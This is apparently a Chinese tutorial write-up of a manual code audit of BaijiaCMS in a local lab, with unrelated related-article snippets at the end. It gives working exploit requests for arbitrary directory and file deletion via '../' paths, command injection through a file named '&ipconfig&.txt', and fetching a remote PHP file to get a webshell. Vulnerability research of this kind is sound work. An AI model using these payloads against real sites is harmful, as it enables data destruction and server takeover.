代码审计之旅之百家CMS
前言
之前审计的CMS大多是利用工具,即Seay+昆仑镜
联动扫描出漏洞点,而后进行审计。感觉自己的能力仍与零无异,因此本次审计CMS绝大多数使用手动探测,即通过搜索危险函数的方式进行漏洞寻找,以此来提升审计能力,希望对正在学习代码审计的师傅能有所帮助。
环境搭建
源码链接如下所示
https://gitee.com/openbaijia/baijiacms
安装至本地后,我这里是phpstudy+win10
,所以直接解压到phpstudy
的www
目录下即可
接下来去创建一个数据库用于存储CMS信息。(在Mysql命令行中执行)
接下来访问CMS,会默认跳转至安装界面
数据库名称和账密注意一下就好,其他随便写
而后安装成功,可以开始进行审计了。
审计
准备工作
我们拿到一套源码时,首先需要对具体文件夹进行一次分析,这样才能对CMS有一个初步的印象,为后续审计做一些铺垫。
根目录如下所示
其对应目录解释如下
addons 插件
api 接口
assets 静态文件
attachment 上传目录
cache 缓存目录
config 系统文件
include 系统文件
system 后端代码
针对system
目录,这个较为常用,我们可以对其进行进一步分析
system 系统模块目录├─alipay 支付宝服务窗模块├─bonus 优惠券模块├─common 公共函数模板├─index 登录页├─member 会员模块├─modules 可再扩展模块和模块管理├─public 公共模块├─shop 后台商城模块├─shopwap 前台商城模块├─user 系统用户└─weixin 微信模块
对这些有过了解后,还需要看的就是一些后端支撑文件,例如这种xxxinc.php
文件,他们常常存在一些漏洞,进而导致CMS出现漏洞
帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
所以简单阅读一下这些也是有必要的。接下来准备工作做完,就开始下一步。
路由解析
对一个CMS进行漏洞探测前,我们需要首先需要对CMS的路由有所了解。
这里我们直接访问默认页面baijiacms-master/index.php
,然后登录后台,这里说一下我自己认为找路由还可以的方法,就是关注一些特别点,好找一些,比如这里的修改密码界面
我们点击它,发现此时的路由如下
baijiacms-master/index.php?mod=site&act=manager&do=changepwd&beid=1
接下来我们在Vscode中进行全局搜索,搜password=
结果如下,可以发现它的路径
baijiacms-master\system\manager\class\web\changepwd.php
再找到它的具体位置
我们将它与之前看到的路由进行比对,就可以发现act
其实是system
文件夹下的文件夹名称,do
是所选择具体文件的名称,对这些有个初步的了解,待会找到文件时能在网页中访问即可。
漏洞查找
这里Seay+关键词搜索
的方式进行漏洞查找
SQL注入
疑点一(失败)
发现有很多疑似注入点,从第一个开始跟进看
文件路由/addons/activity/class/mobile/index.php
重点代码
global $_W,$_GPC;$activityid = intval ( $_GPC ['activityid'] );
$operation = !empty($_GPC['op']) ? $_GPC['op'] : 'display';
$pagetitle = "活动报名入口";$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );
可以看到uniacid
变量确实未被单引号包裹,可能存在注入,但我们这里注意到它是$_W['uniacid']
,追溯$_W
,看到global $_W,$_GPC;
,这个是全局变量,所以我们直接在vscode中进行查找(ctrl+shift+f全局搜索)
发现$_GPC=$_GP
,所以我们只需要确定$_GP
,就可以确定$_GPC
,接下来寻找$_GP
,最终在baijiacms.php
中发现此变量
这里的话可以看出是对所有方法请求的参数进行了一个stripslashes
函数处理,而后将参数进行了合并,合并后对数组内的参数依次进行遍历,进行htmlspecialchars
函数处理,而后将实体字符&
替换为&
。不过这个是$_GPC
的,但都是全局变量,$_W
应该也类似,接下来再跟着看一下,我们全局搜索$_W=
这里可以发现$W=$_CMS
,同时看出我们的$_W['uniacid']=$_CMS['beid']
,接下来搜索$_CMS['beid']=
找到它等同于一个函数,即getDomainBeid
函数,所以接下来寻找getDomainBeid
函数
function getDomainBeid()
{global $_GP;$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where (`website`=:website1 or `website`=:website2) and `deleted`=0 ",array(":website1"=>WEB_WEBSITE,":website2"=>'www.'.WEB_WEBSITE));if(empty($system_store['id'])){if(!empty($_GP['beid'])){$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id and `deleted`=0",array(":id"=>$_GP['beid']));if(empty($system_store['id'])){message("未找到相关店铺");}if(!empty($system_store['isclose'])){message("店铺已关闭无法访问"); }return $system_store['id']; }else{return ""; }}else{if(!empty($system_store['isclose'])){message("店铺已关闭无法访问"); }return $system_store['id'];}
}
这里可以看出system_store
是由系统数据库中查出来的数据,这个对我们来说是不可控的,我们可控的是$_GP['beid']
,此时看着一个SQL语句
$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id and `deleted`=0",array(":id"=>$_GP['beid']));
如果我们的数据正常,他的结果应该是
id isclose
xx xxxxxxx
xx xxxxxxx
而当我们输入beid
为xx and sleep(2)
这种,它毫无疑问是不会有查询结果的,这也就意味着$system_store['id']
,而这个函数的最终结果是return $system_store['id'];
,那么此时它就会返回空值,那么回到这个SQL语句
pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);
中,如果我们那里正常,想让返回的不为空值,那么这个$_W['uniacid']
只能接收到正常的id,也就是数据库中存储着的id
值,所以这里是无法进行SQL注入的。
类似这个的还有如下文件
文件名:system/eshop/core/mobile/commission/team.php
部分PHP代码
$list = pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);文件名: /addons/activity/class/web/activity.php
部分PHP代码:
$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );文件名:/addons/activity/class/mobile/join.php
部分PHP代码:
$row = pdo_fetch ("SELECT id FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );文件名:/addons/activity/class/web/records.php
部分PHP代码:
$row = pdo_fetch("SELECT id,pic FROM " . table('activity_records') . " WHERE id = $id and uniacid = '{$_W['uniacid']}'");文件名:/system/eshop/core/web/shop/dispatch.php
部分PHP代码:
$dispatch = pdo_fetch("SELECT id,dispatchname FROM " . tablename('eshop_dispatch') . " WHERE id = '$id' AND uniacid=" . $_W['uniacid'] . "");文件名: /system/eshop/core/web/virtual/category.php
部分PHP代码:
$list = pdo_fetchall("SELECT * FROM " . tablename('eshop_virtual_category') . " WHERE uniacid = '{$_W['uniacid']}' ORDER BY id DESC");
疑点二(失败)
文件路径/system/common/model/virtual.php
这里发现参数id
,跟进id
变量,发现来源于
public function updateGoodsStock($id = 0){global $_W, $_GPC;$goods = pdo_fetch('select virtual from ' . tablename('eshop_goods') . ' where id=:id and type=3 and uniacid=:uniacid limit 1', array(':id' => $id,':uniacid' => $_W['uniacid']));
发现这里的id是直接赋值为0的,我们是不可控的,所以不存在注入。
任意目录及文件删除
关于漏洞寻找,大多是从一些敏感函数入手,如果觉得Seay
扫描的不够全面,我们可自行查找,对于文件删除,我们这里首先想到的就是unlink
函数,所以我们这里打开Vscode
,ctrl+shift+f
全局搜索unlink
函数
这里注意到有多个文件,js
及css
前端文件自不必看,我们这里要关注的是php
文件,接下来从第一个开始看。
疑点一
文件路由baijiacms-master\includes\baijiacms\common.inc.php
,涉及代码如下
function rmdirs($path='',$isdir=false)
{if(is_dir($path))//判定变量是否为目录{$file_list= scandir($path); //查看路径下的文件foreach ($file_list as $file)//依次遍历{if( $file!='.' && $file!='..')//如果不是.和..{if($file!='qrcode'){rmdirs($path.'/'.$file,true);//删除目录下的文件}}}if($path!=WEB_ROOT.'/cache/')//如果变量名不是根目录拼接cache{@rmdir($path); //删除目录} }else{@unlink($path); }}
可以看到当它判定变量为目录时,会对目录下的文件进行递归,而后删除一切文件,如果它不是目录,那么他此时就会直接删除这个文件。接下来有函数了,那我们就要看哪个文件利用了这个函数,然后来进行利用。
所以接下来全局搜索函数rmdirs
在文件baijiacms-master\system\manager\class\web\database.php
中发现如下代码
if($operation=='delete'){$d = base64_decode($_GP['id']);$path = WEB_ROOT . '/config/data_backup/';if(is_dir($path . $d)) {rmdirs($path . $d);message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success');}
}
可以发现这里对变量进行了base64_decode
处理,这下我们想删除的目录的话,我们首先需要对他进行一个base64编码,同时我们可以看到这里指定了路径
$path = WEB_ROOT . '/config/data_backup/';
但这个我们其实是可以绕过的,后续只校验了是不是目录,而未限定目录,所以我们通过burpsuite抓包修改目录就可以实现任意目录删除。
接下来进行利用尝试
首先我们在根目录下新建一个目录(名字随便,我这里为qwq)
接下来访问这个数据库备份界面,具体路由如下
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=database&op=restore&beid=1
开启bp抓包,点击删除功能点。发送到重放包界面,修改id为Li4vLi4vcXdx
(…/…/qwq的Base64编码形式)
此时再回根目录查看
疑点二
除了rmdir
和unlink
,我们常常还可以关注delete
函数,因为他直译过来也是删除的意思,所以接下来就全局进行搜索delete()
而后在includes\baijiacms\common.inc.php
中发现相关代码,具体代码如下
function file_delete($file_relative_path) {if(empty($file_relative_path)) {return true;}$settings=globaSystemSetting();if(!empty($settings['system_isnetattach'])){if($settings['system_isnetattach']==1){require_once(WEB_ROOT.'/includes/lib/lib_ftp.php');$ftp=new baijiacms_ftp();if (true === $ftp->connect()) {if ($ftp->ftp_delete($settings['system_ftp_ftproot']. $file_relative_path)) {return true;} else {return false;}} else {return false;}} if($settings['system_isnetattach']==1){require_once(WEB_ROOT.'/includes/lib/lib_oss.php');$oss=new baijiacms_oss();$oss->deletefile($file_relative_path);return true;}
}else
{if (is_file(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path)) {unlink(SYSTEM_WEBROOT . '/attachment/' . $file_relative_path);return true;}}return true;
}
这里重点关注这一个
if(!empty($settings['system_isnetattach']))
当这个执行通过时,就不会去删除,反之,直接将文件删除,因此我们有必要去找一下这个是什么东西,照旧,全局搜索
这里发现是远程附件,因此我们这里选择本地的话,按理说就可直达else
,对文件进行直接删除,访问具体路由
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1
接下来就设置好了,接下来去寻找运用了这个file_delete
函数的文件,全局搜索一下
文件路由为system\eshop\core\mobile\util\uploader.php
,部分代码如下
} elseif ($operation == 'remove') {$file = $_GPC['file'];file_delete($file);show_json(1);
}
因此我们这里访问这个路由并设置operation
为remove
,按理说就可以直接删文件了,接下来尝试利用。
首先在根目录新建文件,这里命名为qwq.txt
接下来访问路由
http://127.0.0.1:8080/baijiacms-master/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../test.txt
此时查看根目录
文件已成功删除
同时,我们刚刚还看到了不止这一个文件利用了delete
函数,另外的是否存在呢,我们来看一下
文件路由system\eshop\core\web\shop\category.php
,具体代码
elseif ($operation == 'post') {.........if (!empty($id)) {unset($data['parentid']);pdo_update('eshop_category', $data, array('id' => $id));file_delete($_GPC['thumb_old']);
这里可以发现想删除文件,需要有三个条件
1、$operation == 'post'
2、$id不为空
3、$_GPC['thumb_old']为具体文件名
所以我们按理说的话,我们去访问这个路由,然后修改$operation
为post
,添加参数$id=1
,同时附加参数$thumb_old
为想删除文件名即可实现删除文件,这个$operation
在前面可以看到其实是参数op
所以我们直接给op
赋值为post
,即可实现文件删除,接下来进行尝试
在根目录新建文件qwq2.txt
接下来访问路由
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=category&op=post&do=shop&m=eshop&beid=2&id=1&thumb_old=../qwq.txt
此时即可实现删除文件
命令执行
针对命令执行,我们关注的函数肯定是eval
、system
、exec
这几个,所以接下来就尝试去利用Vscode的全局搜索来寻找可疑点。
首先搜索的是eval
找到的大多数是带有eval的关键词而非eval
函数,只有寥寥几个文件涉及了eval函数,接下来进行简单分析
疑点一(失败)
文件路由baijiacms-master\system\shopwap\template\mobile\login_dingtalk_pc.php
,部分代码如下
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");if(data.status==1){location.href="<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";}if(data.status==-1){alert("登录失败!重新刷新二维码登录"); location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'dingtalk'));?>";}
});
}
这里的话可以看出是js类代码,简单分析一下这个函数,不难发现参数第一个是取对应的URL,第二个函数,也就是function(data)
,它是对从第一个URL中提取出的参数进行执行,这里我们接着看函数,它这里当执行过函数后,对结果的状态取值进行了判断,结果为1
时判断为登录成功,就会跳转至另一个界面,而当为-1
时就会登录失败,重回登录界面,所以我们这里可以看到他其实是不存在输出执行结果的地方的,所以我们根本无从下手,这里是无法实现命令执行的,所以Pass。
类似的文件还有如下几个,亦不必再看
文件路由:baijiacms-master\system\shopwap\template\mobile\login_weixin_pc.php
部分代码:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");if(data.status==1){location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";}if(data.status==-1){alert("登录失败!重新刷新二维码登录"); location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'weixin'));?>";}
});
}
setInterval("checkstatus()",2000);文件路由:baijiacms-master\system\weixin\template\mobile\badding_weixin_pc.php
部分代码:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'banding_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");if(data.status==1){location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'account'));?>";}if(data.status==-1){alert("登录失败!重新刷新二维码登录"); location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin','bizstate'=>'banding_weixin'));?>";}
});
}
setInterval("checkstatus()",2000);
疑点二
接下来我们关注system
函数,直接Vscode
全局搜
最终在includes\baijiacms\common.inc.php
下找到system
函数,其中部分代码如下
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{$settings=globaSystemSetting();if(!file_move($file_tmp_name, $file_full_path)) {return error(-1, '保存上传文件失败');}if(!empty($settings['image_compress_openscale'])){$scal=$settings['image_compress_scale'];$quality_command='';if(intval($scal)>0){$quality_command=' -quality '.intval($scal);}system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);}............
这里可以看到是保存文件的,在其中进行了一个判断是否上传成功的,这个自不必在意,这里我们看另一个
if(!empty($settings['image_compress_openscale']))
这个是什么意思呢,我们这里可以看出如果这个判断可以通过,而后就会对文件名和文件路径进行一个system
执行,那我们就有可能实现命令执行,因此我们的首要任务就是找到这个是什么东西,所以接下来全局搜索image_compress_openscale
此时就找到了,它就是图片压缩功能
,所以我们直接去开启这个功能,这里这个if判断就可以通过啦,所以接下来首先去开启这个,访问路由如下
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1
接下来我们跟进看一下哪个文件利用了这个函数,毕竟找到文件才能利用。
可以发现这里的话对此函数进行了一个利用,具体代码如下
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);$extention=strtolower($extention);if($extention=='txt'){$substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));if(empty( $substr)){$substr="/"; }$verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";//file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);if($verify_root!=WEB_ROOT."/"){copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);}$cfg['weixin_hasverify']=$file['name'];}
这里的话是对上传文件进行了pathinfo
函数处理,其实也就是获取了拓展名(后缀名),当为txt
后缀时,会继续往下进行,继而调用这个file_save
函数,所以我们这里的思路就明了了,我们这里新建一个文件,命名为xxx命令.txt
,此时按理说就可以达到一个命令执行的效果,接下来进行尝试。
我们这里新建一个txt文件,命名为&ipconfig&.txt
接下来对其进行上传,具体路由
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=weixin&do=setting&beid=1
接下来保存便可以看到效果
任意文件读取
疑点一(失败)
文件路由/system/eshop/core/mobile/shop/util.php
,重要代码如下
} else if ($operation == 'areas') {require_once WEB_ROOT . '/includes/lib/json/xml2json.php';$file = ESHOP_AREA_XMLFILE;$content = file_get_contents($file);$json = xml2json::transformXmlStringToJson($content);$areas = json_decode($json, true);die(json_encode($areas));
其他暂且不看,我们这里先看这两个
$file = ESHOP_AREA_XMLFILE;
$content = file_get_contents($file);
本来直接包含$file
的话,确实是可能存在文件读取,但我们这里可以看到它这里是给$file
直接赋值了,这个是什么呢,我们全局搜索一下可以发现是一个xml
文件
那么它对我们来说是不可控的,所以这里就不存在文件读取了,因此这里属于误报,看下一处。
所以类似这种的可疑点不必再关注,这里简单列出几个
文件名:/system/eshop/core/web/sale/enough.php
部分代码:
$content = file_get_contents($file);文件名:/system/eshop/core/web/shop/dispatch.php
部分代码:
$content = file_get_contents($file);
文件上传
疑点一
文件上传,这里Seay并未扫到什么,所以我们手动来进行寻找,对于文件上传,最先想到的就是上传二字,对应英文为upload
,所以直接Vscode
全局搜索upload()
文件路由为includes\baijiacms\common.inc.php
,具体代码如下
function file_upload($file, $type = 'image') {if(empty($file)) {return error(-1, '没有上传内容');}$limit=5000;$extention = pathinfo($file['name'], PATHINFO_EXTENSION);$extention=strtolower($extention);if(empty($type)||$type=='image'){$extentions=array('gif', 'jpg', 'jpeg', 'png');}if($type=='music'){$extentions=array('mp3','wma','wav','amr','mp4');}if($type=='other'){$extentions=array('gif', 'jpg', 'jpeg', 'png','mp3','wma','wav','amr','mp4','doc');}......
}
这里可以看到这个是进行了很多检测的,对文件类型进行了检测,且要求了后缀,所以这个函数应该是文件上传不了了,但还好它不止一个有关upload
的函数,我们往下看到这样一个函数
function fetch_net_file_upload($url) {$url = trim($url);$extention = pathinfo($url,PATHINFO_EXTENSION );$path = '/attachment/';$extpath="{$extention}/" . date('Y/m/');mkdirs(WEB_ROOT . $path . $extpath);do {$filename = random(15) . ".{$extention}";} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;$file_relative_path = $extpath. $filename;if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {$result['message'] = '提取失败.';return $result;}$file_full_path = WEB_ROOT .$path . $extpath. $filename;return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}
可以发现这个只对文件进行了pathinfo
函数处理,取出其后缀名,然后拼接路径及随机数字来组成文件名,那么我们如果通过这个函数进行文件上传,按理说就可以上传php文件实现getshell,接下来看看哪个文件利用了此函数
文件路由system\public\class\web\file.php
,具体代码
if ($do == 'fetch') {$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);if (is_error($file)) {$result['message'] = $file['message'];die(json_encode($result));}}
接下来我们只需要满足do=fetch
,然后url
中包含我们的文件,便可实现文件上传,我这里远程文件内容如下
接下来进行利用尝试。访问路由如下
http://127.0.0.1:8080/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxx.xxx.xxx.xxx/qwq.php
访问给出的文件路径
可以发现此时已经实现了文件上传,如果传一句话木马即可Getshell。
后言
本次CMS审计是小白的第一次大幅度利用手动搜索危险函数来寻找漏洞,共计耗时半周,对本小白来说已颇为吃力,其中颇多审计失败的点,虽审计失败,但仍感觉对代码能力有了进一步了解,也算有所收获。最后,如果文章中有错误,还望各位大师傅多多指正。
相关文章:
代码审计之旅之百家CMS
前言 之前审计的CMS大多是利用工具,即Seay昆仑镜联动扫描出漏洞点,而后进行审计。感觉自己的能力仍与零无异,因此本次审计CMS绝大多数使用手动探测,即通过搜索危险函数的方式进行漏洞寻找,以此来提升审计能力…...
ONLYOFFICE中利用chatGPT帮助我们策划一场生日派对
近日,人工智能chatGPT聊天机器人爆火,在去年年底发布后,仅仅两个月就吸引了全球近一亿的用户,成为史上最快的应用消费程序,chatGPT拥有强大的学习和交互能力 可以被学生,教师,上班族各种职业运…...
Java面试题-线程(一)
在典型的 Java 面试中, 面试官会从线程的基本概念问起, 如:为什么你需要使用线程,如何创建线程,用什么方式创建线程比较好(比如:继承 thread 类还是调用 Runnable 接口),…...
一篇普通的bug日志——bug的尽头是next吗?
文章目录[bug 1] TypeError: method object is not subscriptable[bug 2] TypeError: unsupported format string passed to numpy.ndarray.__format__[bug 3] ValueError:Hint: Expected dtype() paddle::experimental::CppTypeToDataType<T>::Type()[bug 4] CondaSSLE…...
Vue 3 第八章:Watch侦听器
文章目录Watch侦听器1. 基础概念1.1. Watch的基本用法例子1:监听单个ref的值,直接监听例子2:监听多个ref的值,采用数组形式例子3:深度监听例子4:监听reactive响应式对象单一属性,采用回调函数的…...
GlassFish的安装与使用
一、产品下载与安装glassfish下载地址:https://download.oracle.com/glassfish/5.0.1/release/index.html下载后解压即完成安装,主要目录说明:bin目录:为asadmin命令所在目录。glassfish为主目录:glassfish\bin目录为命…...
【java】Java 重写(Override)与重载(Overload)
文章目录重写(Override)方法的重写规则Super 关键字的使用重载(Overload)重载规则实例重写与重载之间的区别总结重写(Override) 重写是子类对父类的允许访问的方法的实现过程进行重新编写, 返回值和形参都不能改变。即外壳不变,核心重写! 重写的好处在于…...
OpenCV-PyQT项目实战(12)项目案例08:多线程视频播放
欢迎关注『OpenCV-PyQT项目实战 Youcans』系列,持续更新中 OpenCV-PyQT项目实战(1)安装与环境配置 OpenCV-PyQT项目实战(2)QtDesigner 和 PyUIC 快速入门 OpenCV-PyQT项目实战(3)信号与槽机制 …...
面向对象设计模式:结构型模式之装饰器模式
文章目录一、引入二、装饰器模式2.1 Intent 意图2.2 Applicability 适用性2.3 类图2.4 优缺点2.5 应用实例:Java IO 类2.6 应用实例:咖啡馆订购系统一、引入 咖啡馆订购系统 Initial 初始 4 种咖啡 House blend (混合咖啡)Dark Roast (深度烘培)Decaf (…...
Unity iOS 无服务器做一个排行榜 GameCenter
排行榜需求解决方案一(嗯目前只有一)UnityEngine.SocialPlatformsiOS GameCenterAppStoreConnect配置Unity 调用(如果使用GameCenter系统的面板,看到这里就可以了)坑(需要获取数据做自定义面板的看这里)iOS代码Unity 代码吐槽需求 需求:接入…...
现在招个会自动化测试的人是真难呀~你会个锤子的自动化测试
现在招个会自动化测试的人是真难呀~ 前一段时间公司计划要招2个自动化测试到岗,同事面试了十几个来应聘的人,发现一个很奇怪的现象,在面试的时候,如果问的是框架API、脚本编写这些问题,基本上所有人都能对答如流&…...
OracleDatabase——数据库表空间dmp导出与导入
由于公司的程序一直部署在客户现场内网,内网调试难度高,一般是有备份还原数据库的需求,这里简记备份(导出)数据库dmp文件与恢复(导入)的步骤。 一、导出dmp文件 exp与expdp命令异同 相同点&a…...
20张图带你彻底了解ReentrantLock加锁解锁的原理
哈喽大家好,我是阿Q。 最近是上班忙项目,下班带娃,忙的不可开交,连摸鱼的时间都没有了。今天趁假期用图解的方式从源码角度给大家说一下ReentrantLock加锁解锁的全过程。系好安全带,发车了。 简单使用 在聊它的源码…...
Dockerfile构建Springboot镜像
Dockerfile构建Springboot镜像 文章目录 Dockerfile构建Springboot镜像 简介实例演示 前期准备 Docker环境Springboot项目Dockerfile文件 Windows 要求构建镜像启动测试 Linux 要求构建镜像启动测试 简介 容器技术大流行的时代,也是docker大流行的时代。 此文…...
从深分页查询到覆盖索引
最近看到一道面试题,如何优化深分页查询 最简单的例子是 select * from web_bill_main limit 30000,10;分页达到30000行,需要把前面29999行都过滤掉,才能找到这10条数据 所以整体时间花了80ms(工具显示时间) 我当时的第一反应是࿰…...
Go语言学习的第三天--下部分(Gin框架的基础了解)
每天都会分享Go的知识,喜欢的朋友关注一下。每天的学习分成两部分基础(必要的,基础不牢地动山摇),另一部分是Go的一些框架知识(会不定时发布,因为小Wei也是一名搬砖人)。但是可以保证…...
JDK的动态代理(powernode 文档)(内含源代码)
JDK的动态代理(powernode 文档)(内含源代码) 源代码下载链接地址:https://download.csdn.net/download/weixin_46411355/87546086 一、动态代理 目录JDK的动态代理(powernode 文档)࿰…...
第1章 多线程基础
第1章 多线程基础 1.1.2 线程与进程的关系 进程可以看成是线程的容器,而线程又可以看成是进程中的执行路径。 1.2 多线程启动 线程有两种启动方式:实现Runnable接口;继承Thread类并重写run()方法。 执行进程中的任务时才会产生线程&a…...
Linux基本指令(一)
文章目录文件操作文档操作系统管理网络通信备份压缩Ctrl Alt T 打开终端 文件操作 1.复制文件 cp afile bfile (将名为afile的文件复制到名为bfile的文件夹中,如果bfile文件不存在,系统将会创建此文件,如果bfile文件已经存在&a…...
el-dialog子组件在mounted周期内获取不到dom?
el-dialog子组件在mounted周期内获取不到dom?一、问题描述二、分析原因三、猜测正常父子组件在mounted生命周期内可以获得dom 父created—子created—子mounted—父mounted----子updated—父updated 一、问题描述 ** el-dialog控制显示隐藏是css控制的display&…...
第九章 opengl之光照(光照贴图)
OpenGL光照贴图漫反射贴图镜面光贴图光照贴图 一个物体的不同部分是不同的材质,那么会有不同的环境光和漫反射颜色表现。 漫反射贴图 原理就是:纹理。 是对同样的原理使用了不同的名字:其实都是使用一张覆盖物体的图像,让我们能…...
JDK动态代理(powernode CD2207 video)(内含教学视频+源代码)
JDK动态代理(powernode CD2207 video)(内含教学视频源代码) 教学视频原代码下载链接地址:https://download.csdn.net/download/weixin_46411355/87545977 目录JDK动态代理(powernode CD2207 video…...
【Linux】Sudo的隐晦bug引发的一次业务问题排查
Sudo的隐晦bug引发的一次业务问题排查写在前面问题描述问题排查高负载现象排查日志排查跟踪任务调度过程Sudo引发的问题手动复现问题分析处理方案写在前面 记录一次生产环境sudo启动进程频繁被Kill且不报错的异常处理过程,如果遇到同样的问题只想要解决方案&#x…...
Java VisualVM 安装 Visual GC 插件图文教程
文章目录1. 通过运行打开 Java VisualVM 监控工具2. 菜单栏初始视图说明3. 工具插件菜单说明4. 手工安装插件5. 重启监控工具查看 Visual GC1. 通过运行打开 Java VisualVM 监控工具 首先确保已安装 Java 环境,如此处安装版本 JDK 1.8.0_161 C:\Users\niaonao>j…...
【C语言】详解静态变量static
关键字static 在C语言中:static是用来修饰变量和函数的static主要作用为:1. 修饰局部变量-静态局部变量 2. 修饰全局变量-静态全局变量3. 修饰函数-静态函数在讲解静态变量之前,我们应该了解静态变量和其他变量的区别: 修饰局部变量 //代码1 #include &l…...
SpringBoot整合ElasticSearch实现模糊查询,排序,分页,高亮
目录 前言 1.框架集成-SpringData-整体介绍 1.1Spring Data Elasticsearch 介绍 2.框架集成Spring Data Elasticsearch 2.1版本说明 2.2.idea创建一个springboot项目 2.3.导入依懒 2.3.增加配置文件 2.4Spring Boot 主程序。 2.5.数据实体类 2.6.配置类 2.7.DAO 数据…...
YARN基本架构
主要由ResourceManager、NodeManager、ApplicationMaster和Container等组件构成,如图所YA示。 ResourceManager(RM) RM是全局资源管理器,负责整个系统的资源管理和分配 主要由两个组件构成:Scheduler调度器和应用程序…...
【C++复习】类和对象全知识点总结
类和对象写在前面类和对象面向对象类类的定义类的访问限定符类的作用域类的实例化类对象大小this指针类的默认成员函数构造函数析构函数拷贝构造函数运算符重载赋值运算符重载前置后置重载取地址及const取地址操作符重载const 成员static 成员友元友元函数有元类内部类匿名对象…...
基于轻量级YOLOv5开发构建汉字检测识别分析系统
汉字检测、字母检测、手写数字检测、藏文检测、甲骨文检测在我之前的文章中都有做过了,今天主要是因为实际项目的需要,之前的汉字检测模型较为古老了还使用的yolov3时期的模型,检测精度和推理速度都有不小的滞后了,这里要基于yolo…...
leetcode-每日一题-66(简单题,数组)
这道题其实还没那么简单,中间还是有的绕的。。。。给定一个由 整数 组成的 非空 数组所表示的非负整数,在该数的基础上加一。最高位数字存放在数组的首位, 数组中每个元素只存储单个数字。你可以假设除了整数 0 之外,这个整数不会…...
周口 网站建设/2021年年度关键词
ElasticSearch入门、ES概念介绍和安装 一.ElasticSearch相关概念 1.1.ElasticSearch介绍 1.1.1.什么是ES ES是一个分布式的全文搜索引擎,为了解决原生Lucene使用的不足,优化Lucene的调用方式,并实现了高可用的分布式集群的搜索方案&am…...
小程序可以用手机网站吗/代运营公司前十名
科技的发展给我们的工作生活带了很大变化,生活在数字世界中是我们理所当然的便利,但是当你突然发现拍摄的精美照片丢失、收藏的音乐消失了、重要的文档也找不到了,这时的心情恐怕不是用痛苦能够形容的。对于某些人来说,将文件拖放…...
南方科技大学网站建设/哪个浏览器不屏蔽网站
springboot validator 验证器 ********************** 相关类与接口 Validator:spring 提供接口,可对类进行验证 public interface Validator {boolean supports(Class<?> clazz); //验证的类void validate(Object target, Errors …...
做网站花钱么/除了百度指数还有哪些指数
先看后台配置:一定要看好请求参数是否正确 到这里就可以确认后台没有问题,我们在用验签工具验签 https://mp.weixin.qq.com/debug/cgi-bin/sandbox?tjsapisign H5就这点代码,不要怀疑自己 安装weixin-js-sdk npm install --save weixin-j…...
网站建设的论文参考文献/赚钱平台
